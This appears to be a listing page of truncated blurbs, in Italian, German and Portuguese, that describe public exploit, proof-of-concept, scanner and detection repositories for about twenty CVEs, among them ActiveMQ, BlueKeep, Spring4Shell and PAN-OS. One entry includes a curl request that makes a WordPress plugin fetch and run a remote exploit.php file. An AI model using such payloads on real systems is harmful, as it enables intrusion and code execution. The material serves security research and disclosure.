CVE-2023-46604

CVE-2023-46604 Dieses Repository enthält ein Exploit-Skript und eine Proof-of-Concept-PoC-XML-Datei für die Schwachstelle CVE-2023-46604, die Apache ActiveMQ betrifft. Die Schwachstelle ermöglicht die Remote-Ausführung von Code aufgrund unsicherer Deserialisierungspraktiken im OpenWire-Protokoll...

CVE-2019-7609

CVE-2019-7609 Kibana Vulnerabilità di esecuzione remota di codice dovuta a un difetto nel visualizzatore Timelion di Kibana Configurazione dell'ambiente docker 1. Eseguire il file docker-compose.yml allegato. root@kitploit: docker-comopse up -d 2. Accedere a http://127.0.0.1:5601 nel browser...

CVE-2024-38856_Scanner

CVE-2024-38856 Nur für ethische Zwecke. Jegliche schädlichen oder bösartigen Aktivitäten sind nicht erlaubt. Die Verantwortung liegt bei Ihnen. CVE-2024-38856: Scanner & Exploit für Remote-Codeausführung bei Apache OFBiz Die CVE-Analyse: https://blog.securelayer7.net/cve-2024-38856-apache-ofbiz-r...

CVE-2024-25641

Cacti CVE-2024-25641 Proof of Concept PoC di caricamento pacchetto autenticato con RCE Questo script è un Proof of Concept PoC per sfruttare la vulnerabilità CVE-2024-25641 in Cacti, uno strumento di monitoraggio basato sul web. Lo script automatizza il processo di autenticazione con...

CVE-2023-36884-MS-Office-HTML-RCE

CVE-2023-36884: RCE HTML di MS Office con documenti appositamente predisposti L'11 luglio 2023, Microsoft ha rilasciato una patch volta a risolvere molteplici vulnerabilità di esecuzione remota di codice RCE attivamente sfruttate. Questa azione ha anche fatto luce su una campagna di phishing...

CVE-2010-5301

CVE-2010-5301 Una proof of concept di un overflow SEH con iniezione arbitraria di DLL Descrizione Kolibrì HTTP Server 2.0 è affetto da un buffer overflow basato su stack. Al momento della scoperta, questa vulnerabilità veniva sfruttata semplicemente sovrascrivendo il puntatore all'istruzione con...

CVE-2019-9978

CVE-2019-9978 - RCE nel plugin Wordpress Social Warfare RCE su un plugin Wordpress Social Warfare senza alcuna autenticazione preventiva Proof of Concept root@kitploit: curl http://127.0.0.1/wp-admin/admin-post.php?rce=id&swpdebug=loadoptions&swpurl=http://172.18.0.1:1337/exploit.php Codice...

MDaemon-Advisories

MDaemon-Advisories Avvisi MDaemon: CVE-2021-27180 XSS riflesso CVE-2021-27181 Fissazione del token CSRF CVE-2021-27182 Iniezione iframe CVE-2021-27183 Esecuzione remota di codice Queste vulnerabilità sono già state corrette a gennaio 2021 e sono pubblicate per scopi CVE. Possono essere concatenat...

CVE-2022-26809

CVE-2021-1675 / CVE-2021-34527 Implementazione Impacket del PrintNightmare PoC originariamente creato da Zhiniang Peng @edwardzpeng & Xuefeng Li @lxf02942370 Testato su un Domain Controller 2019 completamente patchato Esegui DLL dannose in remoto o localmente Aggiornamento della patch Microsoft h...

cve-2017-9805.py

CVE-2017-9805.py 1. Código de exploração melhorado para CVE 2017 9805 apache struts 2. Deve ser praticamente à prova de erros Por que Recodificar? Descobri que a maioria dos códigos de exploração disponíveis online simplesmente usa concatenação de strings para inserir comandos fornecidos pelo...

CVE-2024-3400

CVE-2024-3400 CVE-2024-3400 Palo Alto OS Command Injection Descrizione del fornitore Una vulnerabilità di command injection nella funzionalità GlobalProtect del software PAN-OS di Palo Alto Networks per specifiche versioni di PAN-OS e distinte configurazioni di funzionalità può consentire a un...

Safer_PoC_CVE-2022-22965

SaferPoCCVE-2022-22965 Ein sichererer PoC für CVE-2022-22965 Spring4Shell Funktionalität Erstellt eine Datei namens CVE2022-22965exploited.txt im Tomcat-Verzeichnis webapps/ROOT Optionales Benutzerargument zum Ändern des Ausgabeverzeichnisses Die Exploit-Validierung erfolgt durch Anfordern der...

CVE-2025-53770-Scanner

CVE-2025-53770 Scanner von DanSec Ein einfaches, effektives Aufklärungstool zur Identifizierung potenzieller Gefährdung durch die kritische SharePoint-Sicherheitslücke CVE-2025-53770. !Warning Dieses Tool ist ausschließlich für autorisierte Testzwecke bestimmt. Der Autor DanSec übernimmt keinerle...

msf-module-CVE-2019-0708

CVE-2019-0708 Bluekeep Metasploit module per CVE-2019-0708 BlueKeep Tratto da https://github.com/rapid7/metasploit-framework/tree/5a0119b04309c8e61b44763ac08811cd3ecbbf8d/modules/exploits/windows/rdp e corretto Istruzioni per la copia dei file 1. Crea una cartella denominata 'rdp' in...

exploit-CVE-2021-22204

Exploit per CVE-2021-22204 ExifTool - Esecuzione Arbitraria di Codice Ti piace questo repo? Dacci una ⭐! Solo per scopi educativi e di ricerca sulla sicurezza autorizzata. Autore dell'Exploit @UNICORDev di @NicPWNs e @Dev-Yeoj Descrizione della Vulnerabilità La mancata neutralizzazione dei dati...

CVE-2021-42292

CVE-2021-42292 Dieses Paket erkennt Exploits von CVE-2021-42292, einer lokalen Privilegieneskalationsschwachstelle in Microsoft Excel, und erzeugt einen Eintrag in notice.log. https://corelight.com/blog/detecting-cve-2021-42292 Erkennungsmethode: Das Paket erkennt die Schwachstelle, wenn die...

CVE-2017-0108

Il componente grafico di Windows in Microsoft Office 2007 SP3; 2010 SP2; e Word Viewer; Skype for Business 2016; Lync 2013 SP1; Lync 2010; Live Meeting 2007; Silverlight 5; Windows Vista SP2; Windows Server 2008 SP2 e R2 SP1; e Windows 7 SP1 consente a malintenzionati remoti di eseguire codice...

CVE-2019-11043-Docker

Un'immagine Docker con una versione vulnerabile di PHP-FPM CVE-2019-11043 e nginx. Esecuzione docker run --rm -p8080:80 akamajoris/cve-2019-11043 Dovresti poter accedere all'applicazione web all'indirizzo http://your-ip:8080/. Sfruttamento Compila un binario da...

CVE-2024-3116_RCE_in_pgadmin_8.4

CVE-2024-3116RCEinpgadmin8.4 Creando un laboratorio e testando la CVE-2024-3116, un'esecuzione di codice remoto in pgadmin 8.4 pip scarica il file .whl 8. Installa pgadmin4:...

cve-2025-0133

Strumento di rilevamento XSS riflesso CVE-2025-0133 Autore : Derek Odiorne Data : 2025-05-23 Gravità : Media Testato su : Palo Alto Networks GlobalProtect Portal PAN-OS 📌 Riepilogo Questo script esegue test sicuri e autorizzati per la vulnerabilità CVE-2025-0133 , un problema di Cross-Site...